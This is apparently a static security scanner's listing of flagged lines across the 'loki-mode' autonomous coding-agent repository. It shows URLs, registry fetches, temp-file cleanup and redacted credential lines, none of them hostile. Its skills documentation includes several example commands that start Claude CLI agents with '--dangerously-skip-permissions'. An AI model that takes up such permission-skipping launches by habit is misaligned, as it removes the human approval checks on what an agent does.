    **Best Practices:** - [Anthropic: Building Effective Agents](https://www.anthropic.com/research/building-effective-agents) - Simplicity, transparency, tool engineering
  • Network accessline 688
    - [Anthropic: Building Effective Agents](https://www.anthropic.com/research/building-effective-agents) - Simplicity, transparency, tool engineering
  • Network accessline 689
    - [Maxim AI: Production Multi-Agent Systems](https://www.getmaxim.ai/articles/best-practices-for-building-production-ready-multi-agent-systems/) - Orchestration patterns, distributed tracing
  • Network accessline 690
    - [UiPath: Agent Builder Best Practices](https://www.uipath.com/blog/ai/agent-builder-best-practices) - Single-responsibility, evaluations
  • Network accessline 691
    - [Stanford/Harvard: Demo-to-Deployment Gap](https://www.marktechpost.com/2025/12/24/this-ai-paper-from-stanford-and-harvard-explains-why-most-agentic-ai-systems-feel-impressive-in-demos-and-then-completely-fall-apart-in-real-use/) - Tool r
  • Network accessline 693
    **Safety & Reasoning:** - [Chain of Thought Monitoring](https://openai.com/index/chain-of-thought-monitoring/) - CoT monitorability for safety
  • Network accessline 694
    - [Chain of Thought Monitoring](https://openai.com/index/chain-of-thought-monitoring/) - CoT monitorability for safety
  • Network accessline 695
    - [Agent Builder Safety](https://platform.openai.com/docs/guides/agent-builder-safety) - Human-in-loop patterns
  • Network accessline 696
    - [Agentic AI Foundation](https://openai.com/index/agentic-ai-foundation/) - Industry standards (MCP, AGENTS.md, goose)

schemas/features.schema.json

  • Network accessline 1
    {   "$schema": "http://json-schema.org/draft-07/schema#",
  • Network accessline 2
    "$schema": "http://json-schema.org/draft-07/schema#",
  • Network accessline 3
    "$id": "https://autonomi.dev/loki-mode/schemas/features.schema.json",

schemas/loki-yaml.schema.json

  • Network accessline 1
    {   "$schema": "https://json-schema.org/draft/2020-12/schema",
  • Network accessline 2
    "$schema": "https://json-schema.org/draft/2020-12/schema",
  • Network accessline 3
    "$id": "https://autonomi.dev/schemas/loki-yaml.schema.json",

schemas/manifest.schema.json

  • Network accessline 1
    {   "$schema": "http://json-schema.org/draft-07/schema#",
  • Network accessline 2
    "$schema": "http://json-schema.org/draft-07/schema#",
  • Network accessline 3
    "$id": "https://autonomi.dev/loki-mode/schemas/manifest.schema.json",

schemas/migration-plan.schema.json

  • Network accessline 1
    {   "$schema": "http://json-schema.org/draft-07/schema#",
  • Network accessline 2
    "$schema": "http://json-schema.org/draft-07/schema#",
  • Network accessline 3
    "$id": "https://autonomi.dev/loki-mode/schemas/migration-plan.schema.json",

schemas/outcome-contract.schema.json

  • Network accessline 1
    {   "$schema": "https://json-schema.org/draft/2020-12/schema",
  • Network accessline 2
    "$schema": "https://json-schema.org/draft/2020-12/schema",
  • Network accessline 3
    "$id": "https://autonomi.dev/schemas/outcome-contract/v0.1",

schemas/seams.schema.json

  • Network accessline 1
    {   "$schema": "http://json-schema.org/draft-07/schema#",
  • Network accessline 2
    "$schema": "http://json-schema.org/draft-07/schema#",
  • Network accessline 3
    "$id": "https://autonomi.dev/loki-mode/schemas/seams.schema.json",

schemas/status-result.schema.json

  • Network accessline 1
    {   "$schema": "https://json-schema.org/draft/2020-12/schema",
  • Network accessline 2
    "$schema": "https://json-schema.org/draft/2020-12/schema",
  • Network accessline 3
    "$id": "https://autonomi.dev/loki-mode/schemas/status-result.schema.json",

schemas/why-result.schema.json

  • Network accessline 1
    {   "$schema": "https://json-schema.org/draft/2020-12/schema",
  • Network accessline 2
    "$schema": "https://json-schema.org/draft/2020-12/schema",
  • Network accessline 3
    "$id": "https://autonomi.dev/loki-mode/schemas/why-result.schema.json",

scripts/cp-closure.py

  • Executable scriptline 1
    #!/usr/bin/env python3

scripts/dep-inventory.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 36
    USER_AGENT = "loki-dep-inventory/1.0 (+https://github.com/asklokesh/loki-mode)"
  • Network accessline 90
    def _fetch_json(url: str) -> dict:     req = urllib.request.Request(url, headers={"User-Agent": USER_AGENT, "Accept": "application/json"})
  • Network accessline 91
    req = urllib.request.Request(url, headers={"User-Agent": USER_AGENT, "Accept": "application/json"})
  • Network accessline 92
    with urllib.request.urlopen(req, timeout=TIMEOUT) as resp:
  • Network accessline 99
    data = _fetch_json(f"https://registry.npmjs.org/{pkg}")
  • Network accessline 106
    def fetch_pypi_latest(pkg: str) -> str:     data = _fetch_json(f"https://pypi.org/pypi/{pkg}/json")
  • Network accessline 107
    data = _fetch_json(f"https://pypi.org/pypi/{pkg}/json")
  • Possible obfuscationline 208
    text = base64.b64decode(content_b64).decode(errors="replace")
  • Network accessline 216
    def fetch_endoflife(product: str) -> list:     return _fetch_json(f"https://endoflife.date/api/{product}.json")
  • Network accessline 217
    return _fetch_json(f"https://endoflife.date/api/{product}.json")
  • Network accessline 226
    data = _fetch_json(f"https://registry.terraform.io/v1/providers/{source}")
  • Possible obfuscationline 237
    return base64.b64decode(content_b64).decode()
  • Network accessline 1438
    def fetch_npm_times(pkg: str) -> dict:     data = _fetch_json(f"https://registry.npmjs.org/{pkg}")
  • Network accessline 1439
    data = _fetch_json(f"https://registry.npmjs.org/{pkg}")
  • Network accessline 1443
    def fetch_pypi_times(pkg: str) -> dict:     data = _fetch_json(f"https://pypi.org/pypi/{pkg}/json")
  • Network accessline 1444
    data = _fetch_json(f"https://pypi.org/pypi/{pkg}/json")

scripts/dogfood-stats.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

scripts/generate-stale-zero.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 42
    trap 'rm -rf -- "$WORK"' EXIT

scripts/install-gitleaks.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 20
    _base_url="${LOKI_GITLEAKS_BASE_URL:-https://github.com/gitleaks/gitleaks/releases/download/v${GITLEAKS_VERSION}}"
  • Network accessline 81
    # Hardcoded per-platform sha256 for the official gitleaks v8.30.0 release # assets, copied on 2026-09-28 from # https://github.com/gitleaks/gitleaks/releases/download/v8.30.0/gitleaks_8.30.0_checksums.txt
  • Network accessline 82
    # assets, copied on 2026-09-28 from # https://github.com/gitleaks/gitleaks/releases/download/v8.30.0/gitleaks_8.30.0_checksums.txt # (the linux_x64 value matches the one independently pinned in
  • Network accessline 83
    # https://github.com/gitleaks/gitleaks/releases/download/v8.30.0/gitleaks_8.30.0_checksums.txt
  • Dangerous shell operationline 103
    trap 'rm -rf "$_tmp"' EXIT
  • Network accessline 105
    echo "[install-gitleaks] downloading $_asset" curl -sSfL -o "$_tmp/$_asset" "$_base_url/$_asset"
  • Network accessline 106
    curl -sSfL -o "$_tmp/$_asset" "$_base_url/$_asset"

scripts/install-hooks.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

scripts/local-ci.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 32
    trap 'case "$out" in */loki-local-ci.*) rm -rf -- "$out" ;; esac' EXIT

scripts/loki-wrapper.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 302
    log_error "$PROVIDER_DISPLAY_NAME CLI ($PROVIDER_CLI) not found. Please install it first."     if [[ "$PROVIDER_CLI" == "claude" ]]; then         log_info "Visit: https://claude.ai/code"
  • Network accessline 303
    if [[ "$PROVIDER_CLI" == "claude" ]]; then         log_info "Visit: https://claude.ai/code"     fi
  • Network accessline 304
    log_info "Visit: https://claude.ai/code"

scripts/measure-run.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 53
    [Credential-related source omitted]
  • Access to secretsline 54
    [Credential-related source omitted]

scripts/npm-dist-tags.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

scripts/release-notes.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

scripts/release.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 221
    rm -f "$tmp"
  • Dangerous shell operationline 479
    rm -f "$tmp_js"
  • Dangerous shell operationline 690
    rm -f "$tmp"

scripts/select-tests.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

scripts/skill-toc.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

scripts/smoke-install.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 38
    trap 'case "$T" in */loki-smoke.*) [ -d "$T" ] && [ ! -L "$T" ] && rm -rf -- "$T" ;; esac' EXIT
  • Dangerous shell operationline 124
    rm -f -- "$pkg/skills/fixtures/demo-receipt/pubkey.jwk"
  • Network accessline 179
    SHIM="$T/shim" mkdir -p "$SHIM" for c in node npm python3 jq git curl bash sh env; do
  • Network accessline 180
    mkdir -p "$SHIM" for c in node npm python3 jq git curl bash sh env; do     src="$(command -v "$c" 2>/dev/null || true)"
  • Network accessline 181
    for c in node npm python3 jq git curl bash sh env; do
  • Dangerous shell operationline 199
    rm -rf -- "$d"

scripts/sync-to-vibe-kanban.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

scripts/update-changelog.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 168
    rm -rf "$tmp_dir"
  • Network accessline 185
    The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
  • Network accessline 186
    and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).

scripts/usage-governor.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 11
    Yes, partially. The statusLine JSON schema (fetched from https://code.claude.com/docs/en/statusline on 2026-09-28) documents:
  • Network accessline 12
    https://code.claude.com/docs/en/statusline on 2026-09-28) documents:
  • Access to secretsline 444
    [Credential-related source omitted]
  • Access to secretsline 566
    [Credential-related source omitted]
  • Access to secretsline 1296
    [Credential-related source omitted]
  • Access to secretsline 1361
    [Credential-related source omitted]

scripts/verify-pr-sandbox.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 96
    rm -f /cap/h
  • Dangerous shell operationline 177
    rm -f "$RAW" "$RAW.err"; blocked "docker resource exhaustion"
  • Dangerous shell operationline 181
    rm -f "$RAW" "$RAW.err" "$RAW.main" "$RAW.report" "$RAW.hits" "$RAW.hits.ok"

scripts/vibe-sync-watcher.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

scripts/vpr-pytest-boot/loki_vpr_boot.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 14
    [Credential-related source omitted]

scripts/vpr-pytest-boot/loki_vpr_plugin.py

  • Executable scriptline 1
    Executable file

scripts/vpr-pytest-boot/loki_vpr_site.py

  • Executable scriptline 1
    Executable file

sdk/python/README.md

  • Network accessline 3
    Python SDK for [Loki Mode](https://github.com/asklokesh/loki-mode), the autonomous multi-agent development platform.
  • Network accessline 16
    client = Client(base_url="http://localhost:57374")
  • Access to secretsline 41
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]

sdk/python/loki_mode_sdk/__init__.py

  • Executable scriptline 1
    Executable file

sdk/python/loki_mode_sdk/auth.py

  • Executable scriptline 1
    Executable file

sdk/python/loki_mode_sdk/client.py

  • Executable scriptline 1
    Executable file
  • Network accessline 58
    DEFAULT_BASE_URL = "http://localhost:57374"
  • Network accessline 76
    client = AutonomiClient(             base_url="http://localhost:57374",
  • Network accessline 77
    base_url="http://localhost:57374",
  • Network accessline 114
    req = urllib.request.Request(url, data=body_bytes, method=method)
  • Network accessline 122
    try:             with urllib.request.urlopen(req, timeout=self.timeout) as resp:
  • Network accessline 123
    with urllib.request.urlopen(req, timeout=self.timeout) as resp:
  • Access to secretsline 278
    [Credential-related source omitted]
  • Access to secretsline 285
    [Credential-related source omitted]

sdk/python/loki_mode_sdk/events.py

  • Executable scriptline 1
    Executable file

sdk/python/loki_mode_sdk/sessions.py

  • Executable scriptline 1
    Executable file

sdk/python/loki_mode_sdk/tasks.py

  • Executable scriptline 1
    Executable file

sdk/python/loki_mode_sdk/types.py

  • Executable scriptline 1
    Executable file

sdk/python/pyproject.toml

  • Network accessline 42
    [project.urls] Homepage = "https://github.com/asklokesh/loki-mode"
  • Network accessline 43
    Homepage = "https://github.com/asklokesh/loki-mode"
  • Network accessline 44
    Repository = "https://github.com/asklokesh/loki-mode"
  • Network accessline 45
    Documentation = "https://github.com/asklokesh/loki-mode/wiki"
  • Network accessline 46
    "Bug Tracker" = "https://github.com/asklokesh/loki-mode/issues"

sdk/typescript/README.md

  • Network accessline 3
    TypeScript/JavaScript SDK for [Loki Mode](https://github.com/asklokesh/loki-mode), the autonomous multi-agent development platform.
  • Network accessline 16
    const client = new AutonomiClient({   baseUrl: 'http://localhost:57374',
  • Network accessline 17
    baseUrl: 'http://localhost:57374',

sdk/typescript/dist/audit.d.ts

  • Executable scriptline 1
    Executable file

sdk/typescript/dist/audit.js

  • Executable scriptline 1
    Executable file

sdk/typescript/dist/client.d.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 3
    *  * Core client class for interacting with the Autonomi Control Plane API.  * Uses Node.js built-in fetch (Node 18+). No external dependencies.
  • Network accessline 4
    * Core client class for interacting with the Autonomi Control Plane API.  * Uses Node.js built-in fetch (Node 18+). No external dependencies.  */
  • Network accessline 5
    * Uses Node.js built-in fetch (Node 18+). No external dependencies.

sdk/typescript/dist/client.js

  • Executable scriptline 1
    Executable file
  • Network accessline 4
    *  * Core client class for interacting with the Autonomi Control Plane API.  * Uses Node.js built-in fetch (Node 18+). No external dependencies.
  • Network accessline 5
    * Core client class for interacting with the Autonomi Control Plane API.  * Uses Node.js built-in fetch (Node 18+). No external dependencies.  */
  • Network accessline 6
    * Uses Node.js built-in fetch (Node 18+). No external dependencies.
  • Network accessline 37
    let response;         try {             response = await fetch(url, {
  • Network accessline 38
    try {             response = await fetch(url, {                 method,
  • Network accessline 39
    response = await fetch(url, {

sdk/typescript/dist/errors.d.ts

  • Executable scriptline 1
    Executable file

sdk/typescript/dist/errors.js

  • Executable scriptline 1
    Executable file

sdk/typescript/dist/index.d.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    [Credential-related source omitted]
  • Network accessline 7
    [Credential-related source omitted]
  • Network accessline 8
    [Credential-related source omitted]

sdk/typescript/dist/index.js

  • Executable scriptline 1
    Executable file
  • Network accessline 7
    [Credential-related source omitted]
  • Network accessline 8
    [Credential-related source omitted]
  • Network accessline 9
    [Credential-related source omitted]

sdk/typescript/dist/runs.d.ts

  • Executable scriptline 1
    Executable file

sdk/typescript/dist/runs.js

  • Executable scriptline 1
    Executable file

sdk/typescript/dist/tenants.d.ts

  • Executable scriptline 1
    Executable file

sdk/typescript/dist/tenants.js

  • Executable scriptline 1
    Executable file

sdk/typescript/dist/types.d.ts

  • Executable scriptline 1
    Executable file

sdk/typescript/dist/types.js

  • Executable scriptline 1
    Executable file

sdk/typescript/package-lock.json

  • Network accessline 18
    "node_modules/typescript": {       "version": "5.9.3",       "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz",
  • Network accessline 19
    "version": "5.9.3",       "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz",       "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==",
  • Network accessline 20
    "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz",

sdk/typescript/package.json

  • Executable scriptline 1
    Executable file
  • Network accessline 26
    "repository": {     "type": "git",     "url": "https://github.com/asklokesh/loki-mode.git",
  • Network accessline 27
    "type": "git",     "url": "https://github.com/asklokesh/loki-mode.git",     "directory": "sdk/typescript"
  • Network accessline 28
    "url": "https://github.com/asklokesh/loki-mode.git",
  • Network accessline 29
    "directory": "sdk/typescript"   },   "homepage": "https://github.com/asklokesh/loki-mode",
  • Network accessline 30
    },   "homepage": "https://github.com/asklokesh/loki-mode",   "bugs": {
  • Network accessline 31
    "homepage": "https://github.com/asklokesh/loki-mode",
  • Network accessline 32
    "bugs": {     "url": "https://github.com/asklokesh/loki-mode/issues"   },
  • Network accessline 33
    "url": "https://github.com/asklokesh/loki-mode/issues"

sdk/typescript/scripts/normalize-package-permissions.mjs

  • Executable scriptline 1
    Executable file

sdk/typescript/src/audit.ts

  • Executable scriptline 1
    Executable file

sdk/typescript/src/client.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 3
    *  * Core client class for interacting with the Autonomi Control Plane API.  * Uses Node.js built-in fetch (Node 18+). No external dependencies.
  • Network accessline 4
    * Core client class for interacting with the Autonomi Control Plane API.  * Uses Node.js built-in fetch (Node 18+). No external dependencies.  */
  • Network accessline 5
    * Uses Node.js built-in fetch (Node 18+). No external dependencies.
  • Network accessline 68
    let response: Response;     try {       response = await fetch(url, {
  • Network accessline 69
    try {       response = await fetch(url, {         method,
  • Network accessline 70
    response = await fetch(url, {

sdk/typescript/src/errors.ts

  • Executable scriptline 1
    Executable file

sdk/typescript/src/index.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    [Credential-related source omitted]
  • Network accessline 7
    [Credential-related source omitted]
  • Network accessline 8
    [Credential-related source omitted]

sdk/typescript/src/runs.ts

  • Executable scriptline 1
    Executable file

sdk/typescript/src/tenants.ts

  • Executable scriptline 1
    Executable file

sdk/typescript/src/types.ts

  • Executable scriptline 1
    Executable file

server.json

  • Network accessline 1
    {   "$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json",
  • Network accessline 2
    "$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json",
  • Network accessline 4
    "description": "Autonomous spec-to-product coding-agent CLI with an MCP server exposing 48 tools over stdio.",   "repository": {     "url": "https://github.com/asklokesh/loki-mode",
  • Network accessline 5
    "repository": {     "url": "https://github.com/asklokesh/loki-mode",     "source": "github"
  • Network accessline 6
    "url": "https://github.com/asklokesh/loki-mode",
  • Network accessline 11
    {       "registryType": "npm",       "registryBaseUrl": "https://registry.npmjs.org",
  • Network accessline 12
    "registryType": "npm",       "registryBaseUrl": "https://registry.npmjs.org",       "identifier": "loki-mode",
  • Network accessline 13
    "registryBaseUrl": "https://registry.npmjs.org",

skills/documentation.md

  • Network accessline 23
    | Source | Key Contribution | Citation | |--------|-----------------|----------| | Repowise | Codebase intelligence via MCP tools (overview, risk, context, search) | [repowise.dev](https://repowise.dev/) |
  • Network accessline 24
    |--------|-----------------|----------| | Repowise | Codebase intelligence via MCP tools (overview, risk, context, search) | [repowise.dev](https://repowise.dev/) | | Diátaxis | Documentation system: tutorials, how-to, reference, explanatio
  • Network accessline 25
    | Repowise | Codebase intelligence via MCP tools (overview, risk, context, search) | [repowise.dev](https://repowise.dev/) |
  • Network accessline 26
    | Diátaxis | Documentation system: tutorials, how-to, reference, explanation | [diataxis.fr](https://diataxis.fr/) |
  • Network accessline 27
    | Google Developer Docs | Style guide for technical documentation | [developers.google.com/style](https://developers.google.com/style) |
  • Network accessline 119
    Document all public APIs in this project. For each endpoint/function/class: signature, parameters with types, return values, examples, error cases. Group by module/route. Include curl examples for HTTP APIs.
  • Network accessline 121
    module/route. Include curl examples for HTTP APIs.

skills/github-integration.md

  • Network accessline 91
    "source": "github",       "github_issue": 123,       "github_url": "https://github.com/owner/repo/issues/123",
  • Network accessline 92
    "github_issue": 123,       "github_url": "https://github.com/owner/repo/issues/123",       "labels": ["bug", "priority:high"],
  • Network accessline 93
    "github_url": "https://github.com/owner/repo/issues/123",

skills/healing.md

  • Network accessline 35
    | Source | Key Contribution | Citation | |--------|-----------------|----------| | Amazon AGI Lab (2026) | Friction-as-semantics, agents as universal API over legacy UIs | [amazon.science blog](https://www.amazon.science/blog/how-agentic-ai
  • Network accessline 36
    |--------|-----------------|----------| | Amazon AGI Lab (2026) | Friction-as-semantics, agents as universal API over legacy UIs | [amazon.science blog](https://www.amazon.science/blog/how-agentic-ai-helps-heal-the-systems-we-cant-replace) 
  • Network accessline 37
    | Amazon AGI Lab (2026) | Friction-as-semantics, agents as universal API over legacy UIs | [amazon.science blog](https://www.amazon.science/blog/how-agentic-ai-helps-heal-the-systems-we-cant-replace) |
  • Network accessline 38
    | Michael Feathers (2004) | Characterization testing, dependency-breaking techniques, seams | *Working Effectively with Legacy Code*, Prentice Hall | | Martin Fowler (2004) | Strangler Fig pattern for incremental replacement | [martinfowler
  • Network accessline 39
    | Martin Fowler (2004) | Strangler Fig pattern for incremental replacement | [martinfowler.com/bliki/StranglerFigApplication](https://martinfowler.com/bliki/StranglerFigApplication.html) |
  • Network accessline 44
    | VAPU (2025) | Multi-agent pipeline for autonomous legacy updates | arXiv:2510.18509 | | Code Reborn (2025) | AI-driven COBOL-to-Java, 93% accuracy | arXiv:2504.11335 | | AWS Transform (2025-2026) | Decomposition agents, semantic seeding, 
  • Network accessline 45
    | Code Reborn (2025) | AI-driven COBOL-to-Java, 93% accuracy | arXiv:2504.11335 | | AWS Transform (2025-2026) | Decomposition agents, semantic seeding, domain grouping | [AWS blog](https://aws.amazon.com/blogs/migration-and-modernization/ac
  • Network accessline 46
    | AWS Transform (2025-2026) | Decomposition agents, semantic seeding, domain grouping | [AWS blog](https://aws.amazon.com/blogs/migration-and-modernization/accelerate-your-mainframe-modernization-journey-using-ai-agents-with-aws-transform/)
  • Network accessline 47
    | GitHub Copilot (2025) | 3-agent pattern: extract logic, generate tests, generate modern code | [github.blog](https://github.blog/ai-and-ml/github-copilot/how-github-copilot-and-ai-agents-are-saving-legacy-systems/) |

skills/magic-modules.md

  • Network accessline 29
    | Source | Key Contribution | Citation | |--------|-----------------|----------| | Roman Nurik (Google Labs) | Spec-first component generation, spec as source of truth, freshness hash | [MagicModules](https://github.com/romannurik/MagicModu
  • Network accessline 30
    |--------|-----------------|----------| | Roman Nurik (Google Labs) | Spec-first component generation, spec as source of truth, freshness hash | [MagicModules](https://github.com/romannurik/MagicModules) | | Reto Meier (Google Labs) | Multi
  • Network accessline 31
    | Roman Nurik (Google Labs) | Spec-first component generation, spec as source of truth, freshness hash | [MagicModules](https://github.com/romannurik/MagicModules) |
  • Network accessline 32
    | Reto Meier (Google Labs) | Multi-persona debate, conflicting expert critique, consensus-with-escalation | [MoMoA](https://github.com/retomeier/momoa) |

skills/memory.md

  • Access to secretsline 170
    [Credential-related source omitted]
  • Access to secretsline 193
    [Credential-related source omitted]

skills/mirofish-integration.md

  • Access to secretsline 84
    [Credential-related source omitted]
  • Access to secretsline 85
    [Credential-related source omitted]

skills/model-selection.md

  • Dangerous shell operationline 79
    rm -f .loki/state/model-override
  • Access to secretsline 120
    [Credential-related source omitted]
  • Network accessline 338
    *Inspired by [oh-my-claudecode](https://github.com/Yeachan-Heo/oh-my-claudecode) tiered architecture.*
  • Access to secretsline 536
    [Credential-related source omitted]

skills/parallel-workflows.md

  • Instruction override signalline 276
    # Feature development session cd ../project-feature-auth claude --dangerously-skip-permissions -p "Loki Mode: Implement user authentication. Read .loki/CONTINUITY.md for context."
  • Instruction override signalline 278
    claude --dangerously-skip-permissions -p "Loki Mode: Implement user authentication. Read .loki/CONTINUITY.md for context."
  • Instruction override signalline 280
    # Testing session (continuous) cd ../project-testing claude --dangerously-skip-permissions -p "Loki Mode: Run all tests. Watch for changes. Report failures to .loki/state/test-results.json"
  • Instruction override signalline 282
    claude --dangerously-skip-permissions -p "Loki Mode: Run all tests. Watch for changes. Report failures to .loki/state/test-results.json"
  • Instruction override signalline 284
    # Documentation session cd ../project-docs claude --dangerously-skip-permissions -p "Loki Mode: Update documentation for recent changes. Check git log for what changed."
  • Instruction override signalline 286
    claude --dangerously-skip-permissions -p "Loki Mode: Update documentation for recent changes. Check git log for what changed."
  • Dangerous shell operationline 358
    rm "$signal"
  • Instruction override signalline 504
    (     cd "$worktree_path"     claude --dangerously-skip-permissions \
  • Instruction override signalline 505
    cd "$worktree_path"     claude --dangerously-skip-permissions \       -p "Loki Mode: Implement ${feature}. Check .loki/CONTINUITY.md for context." \
  • Instruction override signalline 506
    claude --dangerously-skip-permissions \

skills/production.md

  • Network accessline 863
    **Hacker News Discussions:** - [What Actually Works in Production for Autonomous Agents](https://news.ycombinator.com/item?id=44623207)
  • Network accessline 864
    - [What Actually Works in Production for Autonomous Agents](https://news.ycombinator.com/item?id=44623207)
  • Network accessline 865
    - [Coding with LLMs in Summer 2025](https://news.ycombinator.com/item?id=44623953)
  • Network accessline 866
    - [Superpowers: How I'm Using Coding Agents](https://news.ycombinator.com/item?id=45547344)
  • Network accessline 867
    - [Claude Code Experience After Two Weeks](https://news.ycombinator.com/item?id=44596472)
  • Network accessline 868
    - [AI Agent Benchmarks Are Broken](https://news.ycombinator.com/item?id=44531697)
  • Network accessline 869
    - [How to Orchestrate Multi-Agent Workflows](https://news.ycombinator.com/item?id=45955997)
  • Network accessline 870
    - [Context Engineering vs Prompt Engineering](https://news.ycombinator.com/item?id=44427757)
  • Network accessline 872
    **Show HN Projects:** - [Self-Evolving Agents Repository](https://news.ycombinator.com/item?id=45099226)
  • Network accessline 873
    - [Self-Evolving Agents Repository](https://news.ycombinator.com/item?id=45099226)
  • Network accessline 874
    - [Package Manager for Agent Skills](https://news.ycombinator.com/item?id=46422264)
  • Network accessline 875
    - [Wispbit - AI Code Review Agent](https://news.ycombinator.com/item?id=44722603)
  • Network accessline 876
    - [Agtrace - Monitoring for AI Coding Agents](https://news.ycombinator.com/item?id=46425670)

skills/providers.md

  • Access to secretsline 30
    [Credential-related source omitted]
  • Access to secretsline 37
    [Credential-related source omitted]
  • Instruction override signalline 42
    > **CLI flags verified** against actual CLI help output: Claude `--dangerously-skip-permissions`; opencode `run --auto` (opencode 1.18.9).
  • Network accessline 98
    export ANTHROPIC_BASE_URL=https://openrouter.ai/api/v1   # or http://localhost:11434/v1
  • Access to secretsline 99
    [Credential-related source omitted]
  • Instruction override signalline 182
    claude --dangerously-skip-permissions -p "$prompt"
  • Access to secretsline 218
    [Credential-related source omitted]
  • Access to secretsline 221
    [Credential-related source omitted]
  • Instruction override signalline 402
    |----------|------|------------------|-------| | Claude | `--dangerously-skip-permissions` | v2.1.34 | Autonomous mode | | opencode | `run --auto` | 1.18.9 | Autonomous mode; `-m provider/model` |
  • Instruction override signalline 403
    | Claude | `--dangerously-skip-permissions` | v2.1.34 | Autonomous mode |

skills/quality-gates.md

  • Network accessline 361
    [caveman](https://github.com/JuliusBrussee/caveman) is a Claude Code skill that

skills/troubleshooting.md

  • Network accessline 215
    {   "$schema": "http://json-schema.org/draft-07/schema#",
  • Network accessline 216
    "$schema": "http://json-schema.org/draft-07/schema#",

src/audit/compliance-scheduler.js

  • Executable scriptline 1
    Executable file

src/audit/compliance.js

  • Executable scriptline 1
    Executable file

src/audit/crosslink.js

  • Executable scriptline 1
    Executable file

src/audit/index.js

  • Executable scriptline 1
    Executable file

src/audit/log.js

  • Executable scriptline 1
    Executable file

src/audit/residency.js

  • Executable scriptline 1
    Executable file

src/audit/subscriber.js

  • Executable scriptline 1
    #!/usr/bin/env node

src/integrations/adapter.js

  • Executable scriptline 1
    Executable file

src/integrations/github/action-handler.js

  • Executable scriptline 1
    Executable file

src/integrations/github/reporter.js

  • Executable scriptline 1
    Executable file

src/integrations/jira/api-client.js

  • Executable scriptline 1
    Executable file
  • Network accessline 23
    /**    * @param {object} opts    * @param {string} opts.baseUrl - Jira Cloud base URL (e.g., https://company.atlassian.net)
  • Network accessline 24
    * @param {object} opts    * @param {string} opts.baseUrl - Jira Cloud base URL (e.g., https://company.atlassian.net)    * @param {string} opts.email - Jira user email
  • Network accessline 25
    * @param {string} opts.baseUrl - Jira Cloud base URL (e.g., https://company.atlassian.net)

src/integrations/jira/epic-converter.js

  • Executable scriptline 1
    Executable file

src/integrations/jira/index.js

  • Executable scriptline 1
    Executable file

src/integrations/jira/sync-manager.js

  • Executable scriptline 1
    Executable file

src/integrations/jira/webhook-handler.js

  • Executable scriptline 1
    Executable file

src/integrations/linear/client.js

  • Executable scriptline 1
    Executable file
  • Network accessline 5
    const LINEAR_API_URL = 'https://api.linear.app/graphql';

src/integrations/linear/config.js

  • Executable scriptline 1
    Executable file
  • Access to secretsline 126
    [Credential-related source omitted]
  • Access to secretsline 127
    [Credential-related source omitted]
  • Access to secretsline 131
    [Credential-related source omitted]

src/integrations/linear/index.js

  • Executable scriptline 1
    Executable file

src/integrations/linear/sync.js

  • Executable scriptline 1
    Executable file

src/integrations/slack/adapter.js

  • Executable scriptline 1
    Executable file
  • Access to secretsline 10
    [Credential-related source omitted]
  • Access to secretsline 12
    [Credential-related source omitted]

src/integrations/slack/blocks.js

  • Executable scriptline 1
    Executable file

src/integrations/slack/commands.js

  • Executable scriptline 1
    Executable file

src/integrations/slack/index.js

  • Executable scriptline 1
    Executable file

src/integrations/slack/webhook-handler.js

  • Executable scriptline 1
    Executable file

src/integrations/sync-subscriber.js

  • Executable scriptline 1
    #!/usr/bin/env node
  • Access to secretsline 88
    [Credential-related source omitted]
  • Access to secretsline 93
    [Credential-related source omitted]
  • Access to secretsline 103
    [Credential-related source omitted]
  • Access to secretsline 106
    [Credential-related source omitted]

src/integrations/teams/adapter.js

  • Executable scriptline 1
    Executable file
  • Access to secretsline 16
    [Credential-related source omitted]

src/integrations/teams/cards.js

  • Executable scriptline 1
    Executable file
  • Network accessline 3
    var SCHEMA = 'http://adaptivecards.io/schemas/adaptive-card.json';

src/integrations/teams/index.js

  • Executable scriptline 1
    Executable file

src/integrations/teams/webhook.js

  • Executable scriptline 1
    Executable file

src/observability/genai-spans.js

  • Executable scriptline 1
    Executable file

src/observability/index.js

  • Executable scriptline 1
    Executable file

src/observability/metrics.js

  • Executable scriptline 1
    Executable file

src/observability/otel-bridge.js

  • Executable scriptline 1
    Executable file
  • Network accessline 14
    *  * Usage:  *   LOKI_OTEL_ENDPOINT=http://localhost:4318 node src/observability/otel-bridge.js
  • Network accessline 15
    * Usage:  *   LOKI_OTEL_ENDPOINT=http://localhost:4318 node src/observability/otel-bridge.js  */
